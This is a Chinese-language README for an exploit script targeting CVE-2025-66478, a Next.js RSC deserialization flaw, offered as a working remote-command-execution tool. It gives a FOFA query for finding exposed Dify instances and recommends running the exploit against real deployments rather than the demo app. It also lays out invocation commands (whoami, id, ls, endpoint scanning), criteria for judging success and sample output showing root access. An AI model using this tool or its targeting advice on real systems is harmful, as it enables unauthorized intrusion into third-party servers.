README.md
Rendering markdown...
# CVE-2025-66478 Exploit 使用说明
## 当前状态
exploit.js 已经实现了正确的 payload 构造和多种格式支持,但在简单的演示程序上可能无法完全复现漏洞。
## 为什么演示程序上"没用"?
### 原因 1: 端点问题
- `/_rsc` 端点返回 404 - Next.js 15 可能改变了端点格式
- `/?/actions` 返回 HTML - 被当作页面路由,不是 Server Actions 端点
### 原因 2: 漏洞触发机制
CVE-2025-66478 需要在 **RSC Flight 协议的反序列化过程**中触发:
- 不是普通的 API 路由(如 `/api/test`)
- 不是普通的页面路由
- 需要 RSC Flight 协议处理 payload
### 原因 3: 演示程序限制
简单的演示程序可能:
- 没有完整的 RSC Flight 协议处理
- Server Actions 端点格式不正确
- 无法触发反序列化漏洞
## 解决方案
### 方案 1: 在实际应用上测试(推荐)
在实际的 Dify 等应用上测试:
```bash
# 使用 FOFA 找到目标
# body="NEXT_DATA" && (body="dify" || title="Dify")
# 使用 exploit.js 测试
node exploit.js http://target.com/api/chat "whoami"
node exploit.js http://target.com --scan
```
这些应用有:
- ✅ 完整的 Server Actions 实现
- ✅ RSC Flight 协议处理
- ✅ 会反序列化 RSC payload
### 方案 2: 通过浏览器分析
1. 打开浏览器开发者工具(F12)
2. 访问 http://localhost:3000
3. 提交表单,观察 Network 标签
4. 找到实际的 Server Actions 请求格式
5. 使用该格式改进 exploit.js
### 方案 3: 使用详细输出模式
```bash
# 查看实际发送的请求
node exploit.js http://localhost:3000/_rsc "echo test" --verbose
```
## 当前代码的价值
即使演示程序无法完全复现,exploit.js 代码仍然:
1. ✅ **正确的 payload 构造** - 基于 CVE-2025-55182 的实际利用方式
2. ✅ **多种格式支持** - multipart, JSON, Flight, Server Actions
3. ✅ **详细的响应分析** - 可以清楚看到服务器响应
4. ✅ **自动端点发现** - 可以扫描多个端点
## 实际利用建议
在实际环境中:
1. **使用扫描模式**
```bash
node exploit.js http://target.com --scan
```
2. **尝试不同的端点**
- Dify: `/api/chat`, `/api/completion`
- 其他应用: 根据实际情况
3. **使用详细输出**
```bash
node exploit.js http://target.com/api/chat "whoami" --verbose
```
## 总结
- ✅ 演示程序已修复(Server Component)
- ✅ exploit.js 代码是正确的
- ⚠️ 简单演示程序可能无法完全复现漏洞
- ✅ 在实际应用(如 Dify)上应该可以工作
当前的 exploit.js 代码已经实现了正确的 payload 构造和多种格式支持,可以用于实际目标。
## 如何确认利用成功?
### 成功判断标准
exploit.js 现在会根据**置信度**来判断利用是否成功:
#### ✅ 高置信度成功指标
1. **命令输出匹配**
- `whoami` 命令返回用户名(如 `root`, `www-data`, `node` 等)
- `echo test` 命令返回 `test`
- `pwd` 命令返回路径(如 `/app`, `/var/www` 等)
- `ls` 命令返回文件列表(如 `bin`, `boot`, `dev`, `etc` 等)
2. **命令执行错误**
- 响应中包含 `Error: Command failed` 等错误信息
- 说明命令被执行了,只是执行失败
3. **非标准响应内容**
- 响应中包含明显的命令输出(非 HTML/错误页面)
- 响应中包含系统路径、文件名等
#### ⚠️ 中等置信度指标
1. **状态码 500 + 非标准错误**
- 服务器返回 500 错误
- 但错误信息中包含可能的命令输出片段
2. **响应内容异常**
- 响应大小异常(过大或过小)
- 响应内容类型不符合预期
#### ❌ 失败指标
1. **状态码 404**
- 端点不存在
- 建议:使用 `--scan` 模式查找正确端点
2. **状态码 405**
- 方法不允许
- 建议:端点存在但不接受 POST,可能需要不同的请求格式
3. **标准错误页面**
- 响应只包含标准的 HTML 错误页面
- 没有任何命令执行痕迹
### 输出示例
#### 成功示例
```bash
$ node exploit.js http://target.com/api/chat "whoami"
[*] 尝试方法 1: Server Actions 格式...
[*] 收到响应 (状态码: 500, 格式: serverAction)
✅ 检测到命令执行结果 (高置信度)!
[+] 命令输出:
============================================================
找到用户名: root
============================================================
🎉 漏洞利用成功!命令已执行!
```
#### 可能成功示例
```bash
$ node exploit.js http://target.com/api/chat "ls /"
[*] 尝试方法 2: Flight 协议格式...
[*] 收到响应 (状态码: 500, 格式: flight)
⚠️ 检测到命令执行结果 (中等置信度)!
[+] 命令输出:
============================================================
bin
boot
dev
etc
============================================================
⚠️ 可能成功,但需要进一步验证
```
#### 失败示例
```bash
$ node exploit.js http://target.com/_rsc "whoami"
[*] 尝试方法 1: Server Actions 格式...
[*] 收到响应 (状态码: 404, 格式: serverAction)
[-] 未检测到命令执行结果
[*] 显示完整响应内容以供分析:
[!] 当前响应分析:
- 状态码 404: 端点不存在
- 建议: 尝试其他端点或使用 --scan 模式
```
### 验证技巧
1. **使用简单命令测试**
```bash
# 先测试 echo,输出明确
node exploit.js http://target.com/api/chat "echo SUCCESS123"
# 如果响应中包含 SUCCESS123,说明成功
```
2. **使用 whoami 验证**
```bash
# whoami 输出用户名,容易识别
node exploit.js http://target.com/api/chat "whoami"
# 查找响应中的用户名
```
3. **使用 id 命令**
```bash
# id 命令输出 uid/gid,格式固定
node exploit.js http://target.com/api/chat "id"
# 查找响应中的 uid= 或 gid=
```
4. **查看完整响应**
- 即使显示"未检测到",也要查看完整响应内容
- 命令输出可能隐藏在 HTML 或 JSON 中
- 使用 `--verbose` 模式查看详细信息
5. **多次尝试不同格式**
- exploit.js 会自动尝试 4 种格式
- 如果一种格式失败,其他格式可能成功
- 观察哪种格式返回了最有用的响应
### 常见问题
**Q: 为什么显示"可能成功"而不是"成功"?**
A: 当检测到可能的命令输出,但置信度不够高时,会显示"可能成功"。建议:
- 查看完整响应内容
- 尝试其他命令验证
- 检查响应中是否真的包含命令输出
**Q: 状态码 500 是成功还是失败?**
A: 状态码 500 可能是成功的标志!因为:
- 命令可能已执行
- 但执行结果导致服务器返回错误
- 命令输出可能在错误信息中
**Q: 如何提高成功率?**
A:
1. 使用 `--scan` 模式找到正确的端点
2. 尝试不同的命令(从简单到复杂)
3. 使用 `--verbose` 模式查看详细信息
4. 在实际应用(如 Dify)上测试,而不是简单演示程序